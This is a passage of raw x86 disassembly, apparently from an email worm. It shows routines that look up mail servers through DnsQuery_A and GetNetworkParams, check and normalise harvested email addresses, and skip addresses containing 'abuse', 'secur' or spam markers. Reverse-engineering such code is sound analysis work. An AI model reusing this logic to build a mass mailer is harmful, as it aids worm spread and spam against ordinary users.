- loc_4A4E54: ; CODE XREF: sub_4A4C45+16Aj
- ; sub_4A4C45+178j ...
- mov edi, [edi]
- test edi, edi
- mov [esp+178h+var_168], edi
- jnz loc_4A4DA3
-
- loc_4A4E62: ; CODE XREF: sub_4A4C45+1A5j
- mov eax, [esp+178h+lpMem] ; lpMem
- call sub_4A4ADF
- cmp [esp+178h+var_160], 0
- jnz short loc_4A4E90
-
- loc_4A4E72: ; CODE XREF: sub_4A4C45+99j
- ; sub_4A4C45+CBj ...
- inc [esp+178h+var_164]
- cmp [esp+178h+var_164], 2
- jl loc_4A4CA6
- jmp short loc_4A4E90
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A4E83: ; CODE XREF: sub_4A4C45+117j
- ; sub_4A4C45+12Bj
- mov eax, [esp+170h+var_2C]
- mov dword ptr [eax], 2
-
- loc_4A4E90: ; CODE XREF: sub_4A4C45+22Bj
- ; sub_4A4C45+23Cj
- push ebx ; lpMem
- push 0 ; dwFlags
- call ds:GetProcessHeap
- push eax ; hHeap
- call ds:HeapFree
- push [esp+170h+var_14C]
- call ds:WS2_32_3
- mov eax, [esp+174h+var_15C]
- jmp short loc_4A4EBD
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A4EB0: ; CODE XREF: sub_4A4C45+4Cj
- ; sub_4A4C45+55j
- push ebx ; lpMem
- push ebp ; dwFlags
- call esi
- push eax ; hHeap
- call ds:HeapFree
- xor eax, eax
-
- loc_4A4EBD: ; CODE XREF: sub_4A4C45+269j
- pop edi
-
- loc_4A4EBE: ; CODE XREF: sub_4A4C45+32j
- pop esi
- pop ebp
- pop ebx
- add esp, 128h
- retn
- sub_4A4C45 endp ; sp = -0Ch
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A4EC8 proc near ; CODE XREF: .text:004A50A3p
-
- var_4 = dword ptr -4
- arg_0 = dword ptr 8
- arg_4 = dword ptr 0Ch
-
- push ebp
- mov ebp, esp
- push ecx
- push esi
- xor esi, esi
-
- loc_4A4ECF: ; CODE XREF: sub_4A4EC8+2Fj
- lea eax, [ebp+var_4]
- push eax
- push [ebp+arg_4]
- push [ebp+arg_0]
- call sub_4A4C45
- add esp, 0Ch
- test eax, eax
- jnz short loc_4A4EFB
- cmp [ebp+var_4], 2
- jz short loc_4A4EF9
- push 64h ; dwMilliseconds
- call ds:Sleep
- inc esi
- cmp esi, 2
- jl short loc_4A4ECF
-
- loc_4A4EF9: ; CODE XREF: sub_4A4EC8+21j
- xor eax, eax
-
- loc_4A4EFB: ; CODE XREF: sub_4A4EC8+1Bj
- pop esi
- leave
- retn
- sub_4A4EC8 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A4EFE proc near ; CODE XREF: sub_4A50D1+4p
-
- LibFileName = byte ptr -18h
- var_C = dword ptr -0Ch
- var_8 = dword ptr -8
- var_4 = dword ptr -4
- arg_0 = dword ptr 8
-
- push ebp
- mov ebp, esp
- sub esp, 18h
- push esi
- push edi
- mov esi, offset aDnsapi_dll ; "dnsapi.dll"
- lea edi, [ebp+LibFileName]
- movsd
- movsd
- movsw
- lea eax, [ebp+LibFileName]
- push eax ; lpModuleName
- movsb
- call ds:GetModuleHandleA
- xor esi, esi
- cmp eax, esi
- jnz short loc_4A4F31
- lea eax, [ebp+LibFileName]
- push eax ; lpLibFileName
- call ds:LoadLibraryA
- cmp eax, esi
- jz short loc_4A4F53
-
- loc_4A4F31: ; CODE XREF: sub_4A4EFE+23j
- push offset aDnsquery_a ; lpProcName
- push eax ; hModule
- call ds:GetProcAddress
- cmp eax, esi
- jz short loc_4A4F53
- lea ecx, [ebp+var_C]
- push esi
- push ecx
- push esi
- push esi
- push 0Fh
- push [ebp+arg_0]
- call eax
- test eax, eax
- jz short loc_4A4F57
-
- loc_4A4F53: ; CODE XREF: sub_4A4EFE+31j
- ; sub_4A4EFE+41j
- xor eax, eax
- jmp short loc_4A4FC8
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A4F57: ; CODE XREF: sub_4A4EFE+53j
- mov edi, [ebp+var_C]
- mov [ebp+var_4], esi
- cmp edi, esi
- mov [ebp+var_8], esi
- jz short loc_4A4FC5
- push ebx
- mov ebx, 108h
-
- loc_4A4F6A: ; CODE XREF: sub_4A4EFE+C4j
- cmp word ptr [edi+8], 0Fh
- jnz short loc_4A4FBC
- push ebx ; dwBytes
- push esi ; dwFlags
- call ds:GetProcessHeap
- push eax ; hHeap
- call ds:HeapAlloc
- mov esi, eax
- test esi, esi
- jz short loc_4A4FC4
- push ebx
- push 0
- push esi
- call memset
- movzx eax, word ptr [edi+1Ch]
- add esp, 0Ch
- mov [esi+4], eax
- lea eax, [esi+8]
- push 0FFh ; iMaxLength
- push dword ptr [edi+18h] ; lpString2
- push eax ; lpString1
- call ds:lstrcpynA
- mov eax, [ebp+var_4]
- mov [ebp+var_4], esi
- test eax, eax
- jnz short loc_4A4FBA
- mov [ebp+var_8], esi
- jmp short loc_4A4FBC
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A4FBA: ; CODE XREF: sub_4A4EFE+B5j
- mov [eax], esi
-
- loc_4A4FBC: ; CODE XREF: sub_4A4EFE+71j
- ; sub_4A4EFE+BAj
- mov edi, [edi]
- xor esi, esi
- cmp edi, esi
- jnz short loc_4A4F6A
-
- loc_4A4FC4: ; CODE XREF: sub_4A4EFE+86j
- pop ebx
-
- loc_4A4FC5: ; CODE XREF: sub_4A4EFE+64j
- mov eax, [ebp+var_8]
-
- loc_4A4FC8: ; CODE XREF: sub_4A4EFE+57j
- pop edi
- pop esi
- leave
- retn
- sub_4A4EFE endp
-
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A4FCC: ; CODE XREF: sub_4A50D1+Ej
- push ebp
- mov ebp, esp
- sub esp, 1Ch
- push ebx
- push esi
- mov esi, offset aIphlpapi_dll ; "iphlpapi.dll"
- push edi
- push esi
- call ds:GetModuleHandleA
- test eax, eax
- jz short loc_4A4FEA
- cmp eax, 0FFFFFFFFh
- jnz short loc_4A4FF1
-
- loc_4A4FEA: ; CODE XREF: .text:004A4FE3j
- push esi
- call ds:LoadLibraryA
-
- loc_4A4FF1: ; CODE XREF: .text:004A4FE8j
- test eax, eax
- jz loc_4A50CA
- cmp eax, 0FFFFFFFFh
- jz loc_4A50CA
- push offset aGetnetworkpara ; "GetNetworkParams"
- push eax
- call ds:GetProcAddress
- mov edi, eax
- test edi, edi
- jz loc_4A50CA
- mov ebx, ds:GetProcessHeap
- mov esi, 4000h
- push esi
- push 0
- call ebx ; GetProcessHeap
- push eax
- call ds:HeapAlloc
- lea ecx, [ebp-0Ch]
- mov [ebp-4], eax
- push ecx
- push eax
- mov [ebp-0Ch], esi
- call edi
- test eax, eax
- jnz loc_4A50CA
- mov edi, [ebp-4]
- and [ebp-8], eax
- add edi, 10Ch
- jmp short loc_4A50B3
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A5052: ; CODE XREF: .text:004A50B5j
- lea esi, [edi+4]
- test esi, esi
- jz short loc_4A50B1
- push 35h
- mov word ptr [ebp-1Ch], 2
- call ds:WS2_32_9
- push esi
- mov [ebp-1Ah], ax
- call ds:WS2_32_11
- test eax, eax
- mov [ebp-18h], eax
- jz short loc_4A507E
- cmp eax, 0FFFFFFFFh
- jnz short loc_4A5093
-
- loc_4A507E: ; CODE XREF: .text:004A5077j
- push esi
- call ds:WS2_32_52
- test eax, eax
- jz short loc_4A50B1
- mov eax, [eax+0Ch]
- mov eax, [eax]
- mov eax, [eax]
- mov [ebp-18h], eax
-
- loc_4A5093: ; CODE XREF: .text:004A507Cj
- test eax, eax
- jz short loc_4A50B1
- cmp eax, 0FFFFFFFFh
- jz short loc_4A50B1
- push dword ptr [ebp+8]
- lea eax, [ebp-1Ch]
- push eax
- call sub_4A4EC8
- pop ecx
- mov [ebp-8], eax
- test eax, eax
- pop ecx
- jnz short loc_4A50B7
-
- loc_4A50B1: ; CODE XREF: .text:004A5057j
- ; .text:004A5087j ...
- mov edi, [edi]
-
- loc_4A50B3: ; CODE XREF: .text:004A5050j
- test edi, edi
- jnz short loc_4A5052
-
- loc_4A50B7: ; CODE XREF: .text:004A50AFj
- push dword ptr [ebp-4]
- push 0
- call ebx ; GetProcessHeap
- push eax
- call ds:HeapFree
- mov eax, [ebp-8]
- jmp short loc_4A50CC
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A50CA: ; CODE XREF: .text:004A4FF3j
- ; .text:004A4FFCj ...
- xor eax, eax
-
- loc_4A50CC: ; CODE XREF: .text:004A50C8j
- pop edi
- pop esi
- pop ebx
- leave
- retn
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
-
- sub_4A50D1 proc near ; CODE XREF: sub_4A5A31+17p
-
- arg_0 = dword ptr 4
-
- push [esp+arg_0]
- call sub_4A4EFE
- test eax, eax
- pop ecx
- jnz short locret_4A50E4
- jmp loc_4A4FCC
- ; ───────────────────────────────────────────────────────────────────────────
-
- locret_4A50E4: ; CODE XREF: sub_4A50D1+Cj
- retn
- sub_4A50D1 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
-
- ; int __cdecl sub_4A50E5(LPVOID lpMem)
- sub_4A50E5 proc near ; CODE XREF: sub_4A595D+B1p
-
- lpMem = dword ptr 4
-
- mov eax, [esp+lpMem]
- test eax, eax
- jz short locret_4A5107
- push esi
-
- loc_4A50EE: ; CODE XREF: sub_4A50E5+1Fj
- mov esi, [eax]
- push eax ; lpMem
- push 0 ; dwFlags
- call ds:GetProcessHeap
- push eax ; hHeap
- call ds:HeapFree
- test esi, esi
- mov eax, esi
- jnz short loc_4A50EE
- pop esi
-
- locret_4A5107: ; CODE XREF: sub_4A50E5+6j
- retn
- sub_4A50E5 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
-
- sub_4A5108 proc near ; CODE XREF: sub_4A5718+8p
-
- var_4 = dword ptr -4
- arg_0 = dword ptr 4
-
- push ecx
- push ebp
- mov ebp, [esp+8+arg_0]
- push edi
- mov edi, eax
- push edi ; lpString
- call ds:lstrlenA
- cmp eax, 3
- jge short loc_4A5125
- xor eax, eax
- inc eax
- jmp loc_4A5311
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A5125: ; CODE XREF: sub_4A5108+13j
- push ebx
- push esi
- xor esi, esi
- cmp byte ptr [edi], 0
- jz short loc_4A517D
-
- loc_4A512E: ; CODE XREF: sub_4A5108+5Fj
- movsx eax, byte ptr [esi+edi]
- push eax
- call ds:isspace
- test eax, eax
- pop ecx
- jnz short loc_4A5162
- movsx eax, byte ptr [esi+edi]
- push eax
- call ds:isalnum
- test eax, eax
- pop ecx
- jnz short loc_4A517D
- mov al, [esi+edi]
- push eax
- push offset a__@ ; "-._!@"
- call sub_4A4285
- pop ecx
- test eax, eax
- pop ecx
- jnz short loc_4A517D
-
- loc_4A5162: ; CODE XREF: sub_4A5108+34j
- inc esi
- cmp byte ptr [esi+edi], 0
- jnz short loc_4A512E
- jmp short loc_4A517D
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A516B: ; CODE XREF: sub_4A5108+7Aj
- push eax
- push offset a__ ; "-._!"
- call sub_4A4285
- pop ecx
- test eax, eax
- pop ecx
- jz short loc_4A5184
- inc esi
-
- loc_4A517D: ; CODE XREF: sub_4A5108+24j
- ; sub_4A5108+44j ...
- mov al, [esi+edi]
- test al, al
- jnz short loc_4A516B
-
- loc_4A5184: ; CODE XREF: sub_4A5108+72j
- xor ebx, ebx
- mov [esp+14h+var_4], ebx
- jmp short loc_4A51C8
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A518C: ; CODE XREF: sub_4A5108+C5j
- cmp al, 40h
- jz short loc_4A51CF
- movsx eax, al
- push eax
- call ds:isalnum
- test eax, eax
- pop ecx
- jnz short loc_4A51B3
- mov al, [esi+edi]
- push eax
- push offset a__@ ; "-._!@"
- call sub_4A4285
- pop ecx
- test eax, eax
- pop ecx
- jz short loc_4A51C7
-
- loc_4A51B3: ; CODE XREF: sub_4A5108+95j
- movsx eax, byte ptr [esi+edi]
- push eax
- call ds:tolower
- mov [ebx+ebp], al
- inc ebx
- pop ecx
- mov [esp+14h+var_4], ebx
-
- loc_4A51C7: ; CODE XREF: sub_4A5108+A9j
- inc esi
-
- loc_4A51C8: ; CODE XREF: sub_4A5108+82j
- mov al, [esi+edi]
- test al, al
- jnz short loc_4A518C
-
- loc_4A51CF: ; CODE XREF: sub_4A5108+86j
- cmp byte ptr [esi+edi], 40h
- jnz loc_4A530C
-
- loc_4A51D9: ; CODE XREF: sub_4A5108+D6j
- inc esi
- cmp byte ptr [esi+edi], 40h
- jz short loc_4A51D9
- and byte ptr [ebx+ebp], 0
- push ebp ; lpString
- call ds:lstrlenA
- mov ebx, eax
- jmp short loc_4A523D
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A51EF: ; CODE XREF: sub_4A5108+136j
- movsx eax, byte ptr [ebx+ebp]
- push eax
- call ds:isspace
- test eax, eax
- pop ecx
- jnz short loc_4A523D
- mov al, [ebx+ebp]
- push eax
- push offset a__ ; "-._!"
- call sub_4A4285
- pop ecx
- test eax, eax
- pop ecx
- jnz short loc_4A523D
- movsx eax, byte ptr [ebx+ebp]
- push eax
- call ds:isalnum
- test eax, eax
- pop ecx
- jnz short loc_4A5237
- mov al, [ebx+ebp]
- push eax
- push offset a__@ ; "-._!@"
- call sub_4A4285
- pop ecx
- test eax, eax
- pop ecx
- jz short loc_4A523D
-
- loc_4A5237: ; CODE XREF: sub_4A5108+119j
- cmp byte ptr [ebx+ebp], 40h
- jnz short loc_4A5240
-
- loc_4A523D: ; CODE XREF: sub_4A5108+E5j
- ; sub_4A5108+F5j ...
- dec ebx
- jns short loc_4A51EF
-
- loc_4A5240: ; CODE XREF: sub_4A5108+133j
- and byte ptr [ebx+ebp+1], 0
- mov ebx, [esp+14h+var_4]
- mov byte ptr [ebx+ebp], 40h
- inc ebx
- add esi, edi
- jmp short loc_4A5290
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A5252: ; CODE XREF: sub_4A5108+18Bj
- movsx eax, byte ptr [esi]
- push eax
- call ds:isalnum
- test eax, eax
- pop ecx
- jnz short loc_4A5274
- mov al, [esi]
- push eax
- push offset a__@ ; "-._!@"
- call sub_4A4285
- pop ecx
- test eax, eax
- pop ecx
- jz short loc_4A528F
-
- loc_4A5274: ; CODE XREF: sub_4A5108+157j
- cmp byte ptr [ebx+ebp-1], 2Eh
- jnz short loc_4A5280
- cmp byte ptr [esi], 2Eh
- jz short loc_4A528F
-
- loc_4A5280: ; CODE XREF: sub_4A5108+171j
- movsx eax, byte ptr [esi]
- push eax
- call ds:tolower
- mov [ebx+ebp], al
- pop ecx
- inc ebx
-
- loc_4A528F: ; CODE XREF: sub_4A5108+16Aj
- ; sub_4A5108+176j
- inc esi
-
- loc_4A5290: ; CODE XREF: sub_4A5108+148j
- cmp byte ptr [esi], 0
- jnz short loc_4A5252
- and byte ptr [ebx+ebp], 0
- mov ebx, ds:lstrlenA
- push ebp ; lpString
- call ebx ; lstrlenA
- mov esi, eax
- jmp short loc_4A52F2
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A52A6: ; CODE XREF: sub_4A5108+1EBj
- lea edi, [esi+ebp]
- movsx eax, byte ptr [edi]
- push eax
- call ds:isspace
- test eax, eax
- pop ecx
- jnz short loc_4A52F2
- mov al, [edi]
- push eax
- push offset a__ ; "-._!"
- call sub_4A4285
- pop ecx
- test eax, eax
- pop ecx
- jnz short loc_4A52F2
- movsx eax, byte ptr [edi]
- push eax
- call ds:isalnum
- test eax, eax
- pop ecx
- jnz short loc_4A52ED
- mov al, [edi]
- push eax
- push offset a__@ ; "-._!@"
- call sub_4A4285
- pop ecx
- test eax, eax
- pop ecx
- jz short loc_4A52F2
-
- loc_4A52ED: ; CODE XREF: sub_4A5108+1D0j
- cmp byte ptr [edi], 40h
- jnz short loc_4A52F5
-
- loc_4A52F2: ; CODE XREF: sub_4A5108+19Cj
- ; sub_4A5108+1AEj ...
- dec esi
- jns short loc_4A52A6
-
- loc_4A52F5: ; CODE XREF: sub_4A5108+1E8j
- and byte ptr [esi+ebp+1], 0
- push ebp ; lpString
- call ebx ; lstrlenA
- cmp eax, 3
- jl short loc_4A530C
- cmp byte ptr [ebp+0], 40h
- jz short loc_4A530C
- xor eax, eax
- jmp short loc_4A530F
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A530C: ; CODE XREF: sub_4A5108+CBj
- ; sub_4A5108+1F8j ...
- xor eax, eax
- inc eax
-
- loc_4A530F: ; CODE XREF: sub_4A5108+202j
- pop esi
- pop ebx
-
- loc_4A5311: ; CODE XREF: sub_4A5108+18j
- pop edi
- pop ebp
- pop ecx
- retn
- sub_4A5108 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
-
- ; int __cdecl sub_4A5315(LPSTR lpString1)
- sub_4A5315 proc near ; CODE XREF: sub_4A539F+9Ep
-
- lpString1 = dword ptr 0Ch
-
- push ebx
- push esi
- mov esi, ecx
- push edi
- xor edi, edi
- mov ebx, eax
- cmp byte ptr [esi], 40h
- jz short loc_4A534A
-
- loc_4A5323: ; CODE XREF: sub_4A5315+33j
- mov al, [edi+esi]
- test al, al
- jz short loc_4A534A
- test ebx, ebx
- jz short loc_4A5343
- movsx eax, al
- push eax
- call ds:isspace
- test eax, eax
- pop ecx
- jnz short loc_4A5343
- mov al, [edi+esi]
- mov [ebx], al
- inc ebx
-
- loc_4A5343: ; CODE XREF: sub_4A5315+17j
- ; sub_4A5315+26j
- inc edi
- cmp byte ptr [edi+esi], 40h
- jnz short loc_4A5323
-
- loc_4A534A: ; CODE XREF: sub_4A5315+Cj
- ; sub_4A5315+13j
- test ebx, ebx
- jz short loc_4A5351
- and byte ptr [ebx], 0
-
- loc_4A5351: ; CODE XREF: sub_4A5315+37j
- cmp byte ptr [edi+esi], 0
- jz short loc_4A5389
- mov ebx, [esp+4+lpString1]
- test ebx, ebx
- jz short loc_4A539B
- lea eax, [edi+esi+1]
- cmp byte ptr [eax], 0
- jz short loc_4A5384
- mov esi, eax
-
- loc_4A536A: ; CODE XREF: sub_4A5315+6Dj
- movsx eax, byte ptr [esi]
- push eax
- call ds:isspace
- test eax, eax
- pop ecx
- jnz short loc_4A537E
- mov al, [esi]
- mov [ebx], al
- inc ebx
-
- loc_4A537E: ; CODE XREF: sub_4A5315+62j
- inc esi
- cmp byte ptr [esi], 0
- jnz short loc_4A536A
-
- loc_4A5384: ; CODE XREF: sub_4A5315+51j
- and byte ptr [ebx], 0
- jmp short loc_4A539B
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A5389: ; CODE XREF: sub_4A5315+40j
- cmp [esp+4+lpString1], 0
- jz short loc_4A539B
- push esi ; lpString2
- push [esp+8+lpString1] ; lpString1
- call ds:lstrcpyA
-
- loc_4A539B: ; CODE XREF: sub_4A5315+48j
- ; sub_4A5315+72j ...
- pop edi
- pop esi
- pop ebx
- retn
- sub_4A5315 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
-
- sub_4A539F proc near ; CODE XREF: sub_4A5718+17p
- mov cl, [edi]
- xor eax, eax
- test cl, cl
- push ebp
- jnz short loc_4A53AB
- inc eax
- pop ebp
- retn
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A53AB: ; CODE XREF: sub_4A539F+7j
- and ds:dword_4A81B8, 0
-
- loc_4A53B2: ; CODE XREF: sub_4A539F+24j
- cmp cl, 40h
- jnz short loc_4A53BD
- inc ds:dword_4A81B8
-
- loc_4A53BD: ; CODE XREF: sub_4A539F+16j
- inc eax
- mov cl, [eax+edi]
- test cl, cl
- jnz short loc_4A53B2
- push ebx
- xor ebx, ebx
- inc ebx
- push esi
- cmp ds:dword_4A81B8, ebx
- mov ds:dword_4A81BC, eax
- jnz loc_4A5514
- mov esi, ds:lstrlenA
- push edi ; lpString
- call esi ; lstrlenA
- jmp short loc_4A53F9
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A53E6: ; CODE XREF: sub_4A539F+61j
- mov cl, [edi+eax-1]
- cmp cl, 2Eh
- jz short loc_4A5402
- cmp cl, 40h
- jz loc_4A5514
- dec eax
-
- loc_4A53F9: ; CODE XREF: sub_4A539F+45j
- test eax, eax
- mov ds:dword_4A81BC, eax
- jg short loc_4A53E6
-
- loc_4A5402: ; CODE XREF: sub_4A539F+4Ej
- test eax, eax
- jz loc_4A5514
- push edi ; lpString
- call esi ; lstrlenA
- mov ecx, ebx
- sub ecx, ds:dword_4A81BC
- add eax, ecx
- cmp eax, 2
- mov ds:dword_4A82C0, eax
- jl loc_4A5514
- cmp eax, 4
- jg loc_4A5514
- mov ebx, offset String1
- mov ebp, offset byte_4A81C0
- push ebx ; lpString1
- mov eax, ebp
- mov ecx, edi
- call sub_4A5315
- pop ecx
- push ebp ; lpString
- call esi ; lstrlenA
- cmp eax, 2
- mov ds:dword_4A81BC, eax
- jl loc_4A54F1
- cmp eax, 18h
- jg loc_4A54F1
- push ebx ; lpString
- call esi ; lstrlenA
- cmp eax, 6
- mov ds:dword_4A81BC, eax
- jl loc_4A54F1
- cmp eax, 2Ah
- jg short loc_4A54F1
- push ebx ; lpString
- call esi ; lstrlenA
- jmp short loc_4A548A
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A5478: ; CODE XREF: sub_4A539F+F3j
- cmp ds:String1[eax], 2Eh
- jnz short loc_4A548A
- cmp ds:byte_4A82C7[eax], 2Eh
- jz short loc_4A54F1
-
- loc_4A548A: ; CODE XREF: sub_4A539F+D7j
- ; sub_4A539F+E0j
- dec eax
- test eax, eax
- mov ds:dword_4A81BC, eax
- jg short loc_4A5478
- mov cl, ds:byte_4A81C0
- xor eax, eax
- and ds:dword_4A81B8, eax
- mov ds:dword_4A81BC, eax
- test cl, cl
- jz short loc_4A54CB
-
- loc_4A54AB: ; CODE XREF: sub_4A539F+125j
- cmp cl, 30h
- jl short loc_4A54BB
- cmp cl, 39h
- jg short loc_4A54BB
- inc ds:dword_4A81B8
-
- loc_4A54BB: ; CODE XREF: sub_4A539F+10Fj
- ; sub_4A539F+114j
- mov cl, ds:byte_4A81C1[eax]
- inc eax
- test cl, cl
- jnz short loc_4A54AB
- mov ds:dword_4A81BC, eax
-
- loc_4A54CB: ; CODE XREF: sub_4A539F+10Aj
- push ebp ; lpString
- call esi ; lstrlenA
- mov ecx, eax
- mov eax, ds:dword_4A81B8
- imul eax, 64h
- cdq
- idiv ecx
- push ebp ; lpString
- mov ds:dword_4A81BC, eax
- call esi ; lstrlenA
- cmp eax, 0Ch
- jle short loc_4A54F6
- cmp ds:dword_4A81BC, 32h
- jmp short loc_4A550E
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A54F1: ; CODE XREF: sub_4A539F+AFj
- ; sub_4A539F+B8j ...
- xor eax, eax
- inc eax
- jmp short loc_4A5516
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A54F6: ; CODE XREF: sub_4A539F+147j
- push ebp ; lpString
- call esi ; lstrlenA
- cmp eax, 6
- jl short loc_4A5507
- cmp ds:dword_4A81BC, 3Ch
- jmp short loc_4A550E
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A5507: ; CODE XREF: sub_4A539F+15Dj
- cmp ds:dword_4A81BC, 46h
-
- loc_4A550E: ; CODE XREF: sub_4A539F+150j
- ; sub_4A539F+166j
- jge short loc_4A54F1
- xor eax, eax
- jmp short loc_4A5516
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A5514: ; CODE XREF: sub_4A539F+36j
- ; sub_4A539F+53j ...
- mov eax, ebx
-
- loc_4A5516: ; CODE XREF: sub_4A539F+155j
- ; sub_4A539F+173j
- pop esi
- pop ebx
- pop ebp
- retn
- sub_4A539F endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A551A proc near ; CODE XREF: sub_4A5718+57p
-
- var_100 = byte ptr -100h
-
- push ebp
- mov ebp, esp
- sub esp, 100h
- push ebx
- push esi
- mov esi, eax
- xor ebx, ebx
- jmp short loc_4A5530
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A552B: ; CODE XREF: sub_4A551A+1Aj
- cmp al, 40h
- jz short loc_4A553E
- inc esi
-
- loc_4A5530: ; CODE XREF: sub_4A551A+Fj
- mov al, [esi]
- cmp al, bl
- jnz short loc_4A552B
- cmp al, 40h
- jnz loc_4A55C4
-
- loc_4A553E: ; CODE XREF: sub_4A551A+13j
- push edi
- xor edi, edi
- inc esi
-
- loc_4A5542: ; CODE XREF: sub_4A551A+48j
- mov al, [esi]
- cmp al, bl
- jz short loc_4A5564
- movsx eax, al
- push eax
- call ds:tolower
- mov [ebp+edi+var_100], al
- inc edi
- inc esi
- cmp edi, 0FFh
- pop ecx
- jl short loc_4A5542
-
- loc_4A5564: ; CODE XREF: sub_4A551A+2Cj
- cmp ds:dword_4A1200, ebx
- mov [ebp+edi+var_100], bl
- pop edi
- jz short loc_4A5598
- mov eax, offset dword_4A1200
- mov esi, eax
-
- loc_4A557B: ; CODE XREF: sub_4A551A+7Cj
- push dword ptr [eax]
- lea eax, [ebp+var_100]
- push eax
- call sub_4A424F
- pop ecx
- test eax, eax
- pop ecx
- jnz short loc_4A55CA
- add esi, 4
- mov eax, esi
- cmp [esi], ebx
- jnz short loc_4A557B
-
- loc_4A5598: ; CODE XREF: sub_4A551A+58j
- cmp ds:dword_4A11B0, ebx
- jz short loc_4A55C4
- mov eax, offset dword_4A11B0
- mov esi, eax
-
- loc_4A55A7: ; CODE XREF: sub_4A551A+A8j
- push dword ptr [eax]
- lea eax, [ebp+var_100]
- push eax
- call sub_4A424F
- pop ecx
- test eax, eax
- pop ecx
- jnz short loc_4A55CF
- add esi, 4
- mov eax, esi
- cmp [esi], ebx
- jnz short loc_4A55A7
-
- loc_4A55C4: ; CODE XREF: sub_4A551A+1Ej
- ; sub_4A551A+84j
- xor eax, eax
-
- loc_4A55C6: ; CODE XREF: sub_4A551A+B3j
- ; sub_4A551A+B8j
- pop esi
- pop ebx
- leave
- retn
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A55CA: ; CODE XREF: sub_4A551A+73j
- push 64h
- pop eax
- jmp short loc_4A55C6
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A55CF: ; CODE XREF: sub_4A551A+9Fj
- xor eax, eax
- inc eax
- jmp short loc_4A55C6
- sub_4A551A endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A55D4 proc near ; CODE XREF: sub_4A5718+62p
-
- String1 = byte ptr -110h
- var_10 = byte ptr -10h
-
- push ebp
- mov ebp, esp
- sub esp, 110h
- push ebx
- push esi
- push edi
- xor ebx, ebx
- mov edi, eax
- xor esi, esi
-
- loc_4A55E6: ; CODE XREF: sub_4A55D4+36j
- mov al, [edi]
- cmp al, bl
- jz short loc_4A560C
- cmp al, 40h
- jz short loc_4A560C
- movsx eax, al
- push eax
- call ds:tolower
- mov [ebp+esi+String1], al
- inc esi
- inc edi
- cmp esi, 0FFh
- pop ecx
- jl short loc_4A55E6
-
- loc_4A560C: ; CODE XREF: sub_4A55D4+16j
- ; sub_4A55D4+1Aj
- cmp byte ptr [edi], 40h
- mov [ebp+esi+String1], bl
- jnz loc_4A570C
- cmp ds:dword_4A1278, ebx
- jz short loc_4A564B
- mov eax, offset dword_4A1278
- mov esi, eax
-
- loc_4A562B: ; CODE XREF: sub_4A55D4+75j
- push dword ptr [eax] ; lpString2
- lea eax, [ebp+String1]
- push eax ; lpString1
- call ds:lstrcmpA
- test eax, eax
- jz loc_4A5713
- add esi, 4
- mov eax, esi
- cmp [esi], ebx
- jnz short loc_4A562B
-
- loc_4A564B: ; CODE XREF: sub_4A55D4+4Ej
- push 3
- lea eax, [ebp+String1]
- push offset aSpm ; "spm"
- push eax
- call sub_4A42F1
- add esp, 0Ch
- test eax, eax
- jz loc_4A5713
- lea eax, [ebp+var_10]
- push offset aFcnz ; "fcnz"
- push eax
- call sub_4A465E
- lea eax, [ebp+var_10]
- push eax
- lea eax, [ebp+String1]
- push eax
- call sub_4A424F
- add esp, 10h
- test eax, eax
- jnz loc_4A5713
- push 3
- lea eax, [ebp+String1]
- push offset aWww ; "www"
- push eax
- call sub_4A42F1
- add esp, 0Ch
- test eax, eax
- jz short loc_4A5713
- push 5
- lea eax, [ebp+String1]
- push offset aSecur ; "secur"
- push eax
- call sub_4A42F1
- add esp, 0Ch
- test eax, eax
- jz short loc_4A5713
- push 5
- lea eax, [ebp+String1]
- push offset aAbuse ; "abuse"
- push eax
- call sub_4A42F1
- add esp, 0Ch
- test eax, eax
- jz short loc_4A5713
- cmp ds:dword_4A12F4, ebx
- jz short loc_4A570C
- mov eax, offset dword_4A12F4
- mov esi, eax
-
- loc_4A56EF: ; CODE XREF: sub_4A55D4+136j
- push dword ptr [eax]
- lea eax, [ebp+String1]
- push eax
- call sub_4A424F
- pop ecx
- test eax, eax
- pop ecx
- jnz short loc_4A5713
- add esi, 4
- mov eax, esi
- cmp [esi], ebx
- jnz short loc_4A56EF
-
- loc_4A570C: ; CODE XREF: sub_4A55D4+42j
- ; sub_4A55D4+112j
- xor eax, eax
-
- loc_4A570E: ; CODE XREF: sub_4A55D4+142j
- pop edi
- pop esi
- pop ebx
- leave
- retn
